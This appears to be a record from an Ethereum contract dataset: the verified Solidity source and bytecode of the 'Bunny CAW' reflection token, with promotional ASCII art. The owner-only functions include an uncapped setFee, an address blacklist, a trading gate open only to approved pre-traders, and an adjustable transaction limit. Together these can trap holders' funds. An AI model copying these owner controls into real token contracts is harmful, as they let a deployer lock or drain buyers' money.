b60035460a060020a900460ff16156105e957600080fd5b6001546105fc908363ffffffff610c0c16565b600155600160a060020a038316600090815260208190526040902054610628908363ffffffff610c0c16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60035433600160a060020a039081169116146106dd57600080fd5b6106e681610c1b565b50565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561071357600080fd5b6104f48383610cd5565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461075657600080fd5b60035460a060020a900460ff161561076d57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a039081169116146107de57600080fd5b600354600160a060020a0316ff5b60035433600160a060020a0390811691161461080757600080fd5b60035460a860020a900460ff161561081e57600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104c85780601f1061049d576101008083540402835291602001916104c8565b60035460009060a860020a900460ff161561090557600080fd5b6104f48383610dcf565b60035460009060a860020a900460ff161561092957600080fd5b6104f48383610ee1565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461097957600080fd5b600160a060020a038116151561098e57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035433600160a060020a03908116911614610a1457600080fd5b80600160a060020a0316ff5b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610aa357600080fd5b600160a060020a038416600090815260208190526040902054821115610ac857600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610afb57600080fd5b600160a060020a038416600090815260208190526040902054610b24908363ffffffff610f8516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b59908363ffffffff610c0c16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b9f908363ffffffff610f8516565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828201838110156104f457fe5b600160a060020a033316600090815260208190526040812054821115610c4057600080fd5b5033600160a060020a038116600090815260208190526040902054610c659083610f85565b600160a060020a038216600090815260208190526040902055600154610c91908363ffffffff610f8516565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610d3257600160a060020a033381166000908152600260209081526040808320938816835292905290812055610d69565b610d42818463ffffffff610f8516565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610de657600080fd5b600160a060020a033316600090815260208190526040902054821115610e0b57600080fd5b600160a060020a033316600090815260208190526040902054610e34908363ffffffff610f8516565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e69908363ffffffff610c0c16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610f19908363ffffffff610c0c16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610f9157fe5b509003905600a165627a7a7230582091f49fdc7286390b2e1f579676ad2ad2e5375d5244844765ee4e568b1b9e26a40029
|
{"success": true, "error": null, "results": {}}
| 4,281 |
0x3a4a7503edad6b7a12d344b0d09aa6a975e63656
|
/**
*Submitted for verification at Etherscan.io on 2022-04-18
*/
/*
⠀⠀⠀⠀
/\
//\\ /\
/' \\ //\\
\\ // `\
\\ //
.-'^'-.
.' a___a `.
== (___) ==
'. ._I_. .'
____/.`-----'.\____
[###()#####()###]
|t.me/bunnycaw|
| 5% Buy Tax |
| 5% Sell Tax |
|Stealth Launch|
| 1.5% Max Tx |
|3% Max Wallet|
| Be Ready! |
|#############|
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BunnyCAW is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bunny CAW";
string private constant _symbol = "BUNNYCAW";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x140147e8dB64923f2073DbE45745602c11fa63e7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd792841461052d578063c3c8cd801461055d578063dd62ed3e14610572578063ea1644d5146105b857600080fd5b806398a5c3151461049d578063a2a957bb146104bd578063a9059cbb146104dd578063bdd795ef146104fd57600080fd5b80638da5cb5b116100d15780638da5cb5b146104185780638f70ccf7146104365780638f9a55c01461045657806395d89b411461046c57600080fd5b8063715018a6146103cd57806374010ece146103e25780637d1db4a51461040257600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103585780636d8aa8f8146103785780636fc3eaec1461039857806370a08231146103ad57600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e1461033857600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c65780632f9c4569146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611922565b6105d8565b005b3480156101ff57600080fd5b5060408051808201909152600981526842756e6e792043415760b81b60208201525b60405161022e9190611a4c565b60405180910390f35b34801561024357600080fd5b506102576102523660046118f7565b610685565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b5069152d02c7e14af68000005b60405190815260200161022e565b3480156102d257600080fd5b506102576102e1366004611883565b61069c565b3480156102f257600080fd5b506101f16103013660046118c3565b610705565b34801561031257600080fd5b506102b860185481565b34801561032857600080fd5b506040516009815260200161022e565b34801561034457600080fd5b50601554610287906001600160a01b031681565b34801561036457600080fd5b506101f1610373366004611813565b6107c9565b34801561038457600080fd5b506101f16103933660046119e9565b610814565b3480156103a457600080fd5b506101f161085c565b3480156103b957600080fd5b506102b86103c8366004611813565b610889565b3480156103d957600080fd5b506101f16108ab565b3480156103ee57600080fd5b506101f16103fd366004611a03565b61091f565b34801561040e57600080fd5b506102b860165481565b34801561042457600080fd5b506000546001600160a01b0316610287565b34801561044257600080fd5b506101f16104513660046119e9565b61094e565b34801561046257600080fd5b506102b860175481565b34801561047857600080fd5b5060408051808201909152600881526742554e4e5943415760c01b6020820152610221565b3480156104a957600080fd5b506101f16104b8366004611a03565b610996565b3480156104c957600080fd5b506101f16104d8366004611a1b565b6109c5565b3480156104e957600080fd5b506102576104f83660046118f7565b610a03565b34801561050957600080fd5b50610257610518366004611813565b60116020526000908152604090205460ff1681565b34801561053957600080fd5b50610257610548366004611813565b60106020526000908152604090205460ff1681565b34801561056957600080fd5b506101f1610a10565b34801561057e57600080fd5b506102b861058d36600461184b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101f16105d3366004611a03565b610a46565b6000546001600160a01b0316331461060b5760405162461bcd60e51b815260040161060290611a9f565b60405180910390fd5b60005b81518110156106815760016010600084848151811061063d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611bb2565b91505061060e565b5050565b6000610692338484610a75565b5060015b92915050565b60006106a9848484610b99565b6106fb84336106f685604051806060016040528060288152602001611c0f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061109c565b610a75565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161060290611a9f565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561079e5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610602565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f35760405162461bcd60e51b815260040161060290611a9f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161060290611a9f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087c57600080fd5b47610886816110d6565b50565b6001600160a01b03811660009081526002602052604081205461069690611110565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161060290611a9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161060290611a9f565b601655565b6000546001600160a01b031633146109785760405162461bcd60e51b815260040161060290611a9f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b815260040161060290611a9f565b601855565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161060290611a9f565b600893909355600a91909155600955600b55565b6000610692338484610b99565b6013546001600160a01b0316336001600160a01b031614610a3057600080fd5b6000610a3b30610889565b905061088681611194565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161060290611a9f565b601755565b6001600160a01b038316610ad75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610602565b6001600160a01b038216610b385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610602565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bfd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610602565b6001600160a01b038216610c5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610602565b60008111610cc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610602565b6000546001600160a01b03848116911614801590610ced57506000546001600160a01b03838116911614155b15610f8f57601554600160a01b900460ff16610d91576001600160a01b03831660009081526011602052604090205460ff16610d915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610602565b601654811115610de35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610602565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2557506001600160a01b03821660009081526010602052604090205460ff16155b610e7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610602565b6015546001600160a01b03838116911614610f025760175481610e9f84610889565b610ea99190611b44565b10610f025760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610602565b6000610f0d30610889565b601854601654919250821015908210610f265760165491505b808015610f3d5750601554600160a81b900460ff16155b8015610f5757506015546001600160a01b03868116911614155b8015610f6c5750601554600160b01b900460ff165b15610f8c57610f7a82611194565b478015610f8a57610f8a476110d6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd157506001600160a01b03831660009081526005602052604090205460ff165b8061100357506015546001600160a01b0385811691161480159061100357506015546001600160a01b03848116911614155b156110105750600061108a565b6015546001600160a01b03858116911614801561103b57506014546001600160a01b03848116911614155b1561104d57600854600c55600954600d555b6015546001600160a01b03848116911614801561107857506014546001600160a01b03858116911614155b1561108a57600a54600c55600b54600d555b61109684848484611339565b50505050565b600081848411156110c05760405162461bcd60e51b81526004016106029190611a4c565b5060006110cd8486611b9b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156111775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610602565b6000611181611367565b905061118d838261138a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ea57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123e57600080fd5b505afa158015611252573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611276919061182f565b8160018151811061129757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112bd9130911684610a75565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f6908590600090869030904290600401611ad4565b600060405180830381600087803b15801561131057600080fd5b505af1158015611324573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611346576113466113cc565b6113518484846113fa565b8061109657611096600e54600c55600f54600d55565b60008060006113746114f1565b9092509050611383828261138a565b9250505090565b600061118d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611535565b600c541580156113dc5750600d54155b156113e357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061140c87611563565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143e90876115c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146d9086611602565b6001600160a01b03891660009081526002602052604090205561148f81611661565b61149984836116ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114de91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af680000061150e828261138a565b82101561152c5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115565760405162461bcd60e51b81526004016106029190611a4c565b5060006110cd8486611b5c565b60008060008060008060008060006115808a600c54600d546116cf565b9250925092506000611590611367565b905060008060006115a38e878787611724565b919e509c509a509598509396509194505050505091939550919395565b600061118d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109c565b60008061160f8385611b44565b90508381101561118d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610602565b600061166b611367565b905060006116798383611774565b306000908152600260205260409020549091506116969082611602565b30600090815260026020526040902055505050565b6006546116b890836115c0565b6006556007546116c89082611602565b6007555050565b60008080806116e960646116e38989611774565b9061138a565b905060006116fc60646116e38a89611774565b905060006117148261170e8b866115c0565b906115c0565b9992985090965090945050505050565b60008080806117338886611774565b905060006117418887611774565b9050600061174f8888611774565b905060006117618261170e86866115c0565b939b939a50919850919650505050505050565b60008261178357506000610696565b600061178f8385611b7c565b90508261179c8583611b5c565b1461118d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610602565b80356117fe81611bf9565b919050565b803580151581146117fe57600080fd5b600060208284031215611824578081fd5b813561118d81611bf9565b600060208284031215611840578081fd5b815161118d81611bf9565b6000806040838503121561185d578081fd5b823561186881611bf9565b9150602083013561187881611bf9565b809150509250929050565b600080600060608486031215611897578081fd5b83356118a281611bf9565b925060208401356118b281611bf9565b929592945050506040919091013590565b600080604083850312156118d5578182fd5b82356118e081611bf9565b91506118ee60208401611803565b90509250929050565b60008060408385031215611909578182fd5b823561191481611bf9565b946020939093013593505050565b60006020808385031215611934578182fd5b823567ffffffffffffffff8082111561194b578384fd5b818501915085601f83011261195e578384fd5b81358181111561197057611970611be3565b8060051b604051601f19603f8301168101818110858211171561199557611995611be3565b604052828152858101935084860182860187018a10156119b3578788fd5b8795505b838610156119dc576119c8816117f3565b8552600195909501949386019386016119b7565b5098975050505050505050565b6000602082840312156119fa578081fd5b61118d82611803565b600060208284031215611a14578081fd5b5035919050565b60008060008060808587031215611a30578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7857858101830151858201604001528201611a5c565b81811115611a895783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b235784516001600160a01b031683529383019391830191600101611afe565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5757611b57611bcd565b500190565b600082611b7757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9657611b96611bcd565b500290565b600082821015611bad57611bad611bcd565b500390565b6000600019821415611bc657611bc6611bcd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6b6c3b4305fa32e855f0596173644713fdf9689c4697ad6765478e3c58ccabc64736f6c63430008040033
|
